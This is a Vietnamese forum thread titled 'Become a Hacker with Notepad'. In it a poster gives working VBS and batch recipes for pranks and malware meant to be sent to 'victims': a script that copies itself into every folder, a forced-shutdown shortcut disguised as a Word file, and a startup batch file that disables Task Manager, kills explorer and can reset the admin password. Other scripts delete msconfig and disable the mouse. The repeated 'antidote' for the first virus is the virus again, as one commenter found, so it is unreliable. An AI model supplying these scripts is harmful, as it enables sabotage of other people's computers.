Trở Thành Hacker Với Notepad

[ndt2802]

Virus 1

Tạo một viruts tự nhân bản lên vào tất cả các thư mục trong máy tính,đồng thời tất cả
Tác hại của con VR này:
- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.
Mục đích để người bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus
Và tất nhiên là mình có kèm theo cả thuốc giải
Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy.
1.Đầu tiên các bạn mở Notepad lên (start > Run > gõ > Notepad > enter).
Thuốc Độc
2. Tạo virus:
Gõ vào notepad đoạn code sau

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss!!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Save lại bằng tên thuocdoc.vbs
Khi nạn nhân chạy file này thì virus sẽ tràn ngập trong máy tính.
( Cả trong các thư mục và desktop ^_^).

Thuốc Giải

'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---\Virus Boss!!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus Boss!!!!!!!.vbs")
fso.DeleteFile(f1.path & "---\Virus Boss!!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

Save dưới tên thuocgiai.vbs
Chạy file này 1 lúc sau máy sẽ hết virus.

Virus 2


Con này là Tự Tắt Máy


Nhấn chuột phải----New----Shortcut
Đánh vào đó dòng lệnh:
shutdown -s -t * -c "**"

* là số giây trước khi máy shut down(bạn tự đặt Khoảng 5s là ok vừa đọc Xong Máy Tắt Lum)
"**" là tin nhắn sẽ xuất hiện khi trojan kích hoạt(Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha)

Ex: shutdown -s -t 5 -c "Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha"

----Next
Đặt file này ở đâu và tên ji` cũng được

ex: Mr.Boss


----Finish

shutdown -s -t 5 -c "Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha"

Nhưng Thế Thì Share ai Dám nhấn Vào đâu
Phải Thay đổi bộ mặt của nó
Nhấp chuột phải vào biểu tượng con virus----Chọn vào thuộc tính của virus----Shortcut----Change Icon----Chọn biểu tượng bạn mún con virus có Chọn Cái nào đẹp đẹp vào
Như File Word Tên là Bài Tập Bấm Vào Mún Tắt cái thông báo cũng không đc ( SÀi Rồi )
Đợi Nó Tự Tắt Máy Hay mình tự tắt TRước

Cách Khắc Phục Cho Con Số 2 Rồi

Nếu Thằng Hacker cho bạn 5s thì may ra Mới Đc

Bấm Start --> Run --> Gõ Vô thật nhanh

shutdown -a

Bấm Enter liền

Hướng Dẫn Lum

Virus 3
Virus Không Thể Tắt ( nhưng dễ tắt )

msgbox " Đừng có tắt dòng thông báo này đi nếu không bạn sẽ gặp rắc rối đó!",,"Thông báo rùi nhé không nghe ráng chịu!"
msgbox "Đã Kêu Đừng Bấm Vào Rồi Sao Vẫn Bấm Lỳ Vậy"
do
 
msgbox  "Bạn đã bị lừa Hiện giờ bạn không thể tắt thông báo này được! ha ha  ha!",,"Liên Hệ b0y_0vers_flowers@yahoo.com Để Tắt Thông Báo Này"
loop

-save dưới dạng *.vbs (ví dụ: Nhấn Vào.vbs)
-ở save as type chọn all file
-ở endcoding chọn UNICode (nếu bỏ qua bước này,font chữ sẽ lộn xộn , mất hứng thú)!!!!!
-open file Vào.vbs ( Hưởng Thành Quả )


Virus 1

Tạo một viruts tự nhân bản lên vào tất cả các thư mục trong máy tính,đồng thời tất cả
Tác hại của con VR này:
- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.
Mục đích để người bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus
Và tất nhiên là mình có kèm theo cả thuốc giải
Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy.
1.Đầu tiên các bạn mở Notepad lên (start > Run > gõ > Notepad > enter).
Thuốc Độc
2. Tạo virus:
Gõ vào notepad đoạn code sau

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss!!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Save lại bằng tên thuocdoc.vbs
Khi nạn nhân chạy file này thì virus sẽ tràn ngập trong máy tính.
( Cả trong các thư mục và desktop ^_^).

Thuốc Giải

'Thuoc Giải !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss!!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Save dưới tên thuocgiai.vbs
Chạy file này 1 lúc sau máy sẽ hết virus.

Virus 2


Con này là Tự Tắt Máy


Nhấn chuột phải----New----Shortcut
Đánh vào đó dòng lệnh:
shutdown -s -t * -c "**"

* là số giây trước khi máy shut down(bạn tự đặt Khoảng 5s là ok vừa đọc Xong Máy Tắt Lum)
"**" là tin nhắn sẽ xuất hiện khi trojan kích hoạt(Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha)

Ex: shutdown -s -t 5 -c "Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha"

----Next
Đặt file này ở đâu và tên ji` cũng được

ex: Mr.Boss


----Finish

shutdown -s -t 5 -c "Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha"

Nhưng Thế Thì Share ai Dám nhấn Vào đâu
Phải Thay đổi bộ mặt của nó
Nhấp chuột phải vào biểu tượng con virus----Chọn vào thuộc tính của virus----Shortcut----Change Icon----Chọn biểu tượng bạn mún con virus có Chọn Cái nào đẹp đẹp vào
Như File Word Tên là Bài Tập Bấm Vào Mún Tắt cái thông báo cũng không đc ( SÀi Rồi )
Đợi Nó Tự Tắt Máy Hay mình tự tắt TRước


Hướng Dẫn Lum

Virus 3
Virus Không Thể Tắt ( nhưng dễ tắt )

msgbox " Đừng có tắt dòng thông báo này đi nếu không bạn sẽ gặp rắc rối đó!",,"Thông báo rùi nhé không nghe ráng chịu!"
msgbox "Đã Kêu Đừng Bấm Vào Rồi Sao Vẫn Bấm Lỳ Vậy"
do
 
msgbox  "Bạn đã bị lừa Hiện giờ bạn không thể tắt thông báo này được! ha ha  ha!",,"Liên Hệ b0y_0vers_flowers@yahoo.com Để Tắt Thông Báo Này"
loop

-save dưới dạng *.vbs (ví dụ: Nhấn Vào.vbs)
-ở save as type chọn all file
-ở endcoding chọn UNICode (nếu bỏ qua bước này,font chữ sẽ lộn xộn , mất hứng thú)!!!!!
-open file Vào.vbs ( Hưởng Thành Quả )


Còn Nữa Mình Sẽ Update Típ:Khi (61)

Virus 4

Bấm Enter Liên Tục ( không Ngừng )

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Lưu Lại với Tên Mr.Boss.vbs nhá
Con này mình không có thuốc
Virus 5
Ngập Tràn Notepad( không Ngừng )

@ECHO off
:top
START %SystemRoot%\system32
otepad.exe
GOTO top

Lưu Lại với Tên Mr.Boss.vbs nhá
Con này mình không có thuốc
Con Số 6 ( Trong Thứ 6 ngày 13) [Cực Khủng Lum]
Mở notepad lên copy đoạn lệnh này vào :

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
cls
copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
shutdown.exe -f -s -t 05 -c "your computer will turn off after 5s ..."
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet  !!!!!!!!!
echo GOOD BYE 
pause
del Mr.Boss.bat

save lại với tên Mr.Boss.batvà gửi cho victim , chỉ 1 click thì explorer bị tắt , mà hình trắng trơn
tự động sau 5 GIÂY là máy bị tắt . Từ lần khởi động máy sau cũng tương tự bị như thế cứ 5 GIÂY là tắt haha

Nếu Chạy Kèm Với Con Này

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
cls
copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
echo GOOD BYE SEE YOU AGAIN
pause
del Mr.Boss.bat

Thì Lại Thành Vô Đối


Giải Cứu ( Cái Này Phải Có Trong Máy Trước không nguy cơ Đón win mới là rất Cao)

del "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*.bat"
copy h.bat "C:\Documents and Settings\All Users\Start Menu\Startup\"
cls

shutdown -a
shutdown -a
shutdown -a
shutdown -a
shutdown -a
shutdown -a
shutdown -a
shutdown -a
shutdown -a
shutdown -a
cls

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 0 /f
cls
del "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*.bat"
cls
@echo off
echo xong roi ... an toan roi...
echo GOOD BYE SEE YOU AGAIN
pause

Lưu Lại Với 3 tên Khác nhau Rồi Bỏ Vào 1 Foder Tên giải Cứu nhét vô Ổ D nha
GIẢI CỨU :
Vì nó tắt explorer , taskmanganer ,và tự động shutdown và thực hiện trên all user nên chỉ còn cách vào admin .
vào admin xong mở file giaicuu.rar vừa lưu vào ổ D:\
chạy file giaicuu.bat trong đó , xong rồi restart lại máy(không cần vào admin) chạy tiếp tieptheo.bat thế là xong .....
CHÚ Ý :Nếu đã wa' thù ghét victim thì hãy khóa luôn admin của hắn bằng cách thêm :
net user administrator 123456
vào đầu đoạn mã trên.(123456 là password của admin )
:Ma (41): Hơi Tàn Ac tý nhưng không sao
Con Số 7

Không cho victim khởi động máy

Dim wsh
Set wsh = createobject(”wscript.shell”)
wsh.run “RUNDLL32.EXE user.exe,exitwindows”

Con Số 8
Hiển thị một message mỗi khi reboot máy:

dim wsh
Set wsh = CreateObject( “WScript.Shell” )
s1 = “HKLM\Software\Microsoft\Windows\CurrentVersion\ Wi n Logon\”
s2 = “LegalNoticeCaption”
s3 = “LegalNoticeText”
wsh.RegWrite s1+s2, “chiasethanhcong.com ”
wsh.RegWrite s1+s3, “Rất Vui Vì Máy Bạn Đã Dính Virus Liên Hệ b0y_0vers_flowers@yahoo.com Để Diệt Con Này”

Con Số 9
Hiển thị một dòng lệnh khi click vào file hay folder:,

Trích dẫn:
set reg=createobject(”WScript.shell”)
reg.regwrite “HKEY_CLASSES_ROOT\*\Shell\\”,”Bạn Đã Bị Tôi Điều Khiển”
reg.regwrite “HKEY_CLASSES_ROOT\folder\shell\Bạn Liên Hệ Chiasethanhcong.com Gặp Mr.Boss Để Giải Quyết ”,”Thông Báo Bởi Hacker”

Thuốc Cho Con 7.8.9

Dim objShell
Set objShell = CreateObject( “WScript.Shell” )
s1 = “HKEY_USERS\.Default\Software\Microsoft\Windows\ Cu r rentVersion\ “
s2 = “Policies\System\DisableRegistryTools”
objShell.RegWrite s1+s2,1, “REG_DWORD”

Dưới dạng Javascipt :

Trích dẫn:
var wsh;
wsh=new ActiveXObject (”Wscript.shell”);// Winlogon when reboot

var s1 = “HKLM\\Software\\Microsoft\\Windows\\CurrentVers io n \\WinLogon\\”;
var s2 = “LegalNoticeCaption”;
var s3 = “LegalNoticeText”;
wsh.RegWrite (s1+ s2, “http://allformy.topcities.com”) ;
wsh.RegWrite (s1+s3, “Ban da bi toi khong che”) ;

//Disable Registry
var s1 = “HKEY_USERS\\.Default\\Software\\Microsoft\\Wind ow s \\CurrentVers ion\\”;
var s2 = “Policies\\System\\DisableRegistryTools” ;
wsh.RegWrite (s1+s2,0,”REG_DWORD”);

//Delete file Msconfig.exe làm cho victim khởi động tới Registry luôn

var fso;
fso=new ActiveXObject(”Scripting.FileSystemObject”);
var fe=fso.getfile(”C:\\windows\\msconfig.exe);
fe.delete true;

//Shutdown windows

//Disable Mouse

wsh.run (”RUNDLL32.EXE mouse,disable”);

//Hang up windows

wsh.run (”rundll32 user,disableoemlayer”);

Thuốc Và Virus 7.8.9
save *.VNSCRIPT hay *.JAVASCRIPT
Quên Mất rồi
Còn Nữa Mình Sẽ Update Típ::Ma (58):

[kunnguyen]

Vui hén

SPAMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMM

[ole]

con virut1 khi mình tạo ra mà ko chạy liệu máy mình có bị j ko

[bebanve]

cũ mèn con thứ 2 mình biết tắt :d phải làm nhanh
start --> run --> cmd --> shutdown -a
bạn ơi cho mình hỏi luôn: sao làm cái clip ảnh gif đó to được vậy? mà nó nhanh nữa, chỉ mình đi! thanks

[hongquang014]

ak` còn nữa liệu có thể đặt tên khác cho con zi rút đó đc hem

[phuonglan11]

con virut 3 muốn tắt thì làm như thế nào vậy

[SuperQA]

Cái này giống như trò tạo virus ảo dọa mọi người sợ cách đây 2 năm )
hồi đó chơi giả thông báo virus rồi lưu thành vbs gửi cho mấy thằng bạn, bùn cười chết lun =))

[virus]

[QUOTE="Vergil"]Cái này giống như trò tạo virus ảo dọa mọi người sợ cách đây 2 năm :Khi (33)::Khi (33)::Khi (33):

[banga]

sao thuốc giải cho con virut đầu ko có công hiêu kìa, em đang test thử rồi mới dám quăng cho người ta, ai dzè, nó ko xóa, nãy giờ em phải xóa bằng tay. hic... đọc kĩ thì thấy thuốc giải với thuốc động không khác nhau chứ nào hết. hu hu hu ọe

[seobookin]

hey sếp ơi con virut 3 có cần thuốc giải ko, với lại tiện thể như bạn ruyencoiok đã nói tại sao thuốc gải với thuốc độc ( virut1 ) y đúc nhau thế. cần lời giải đáp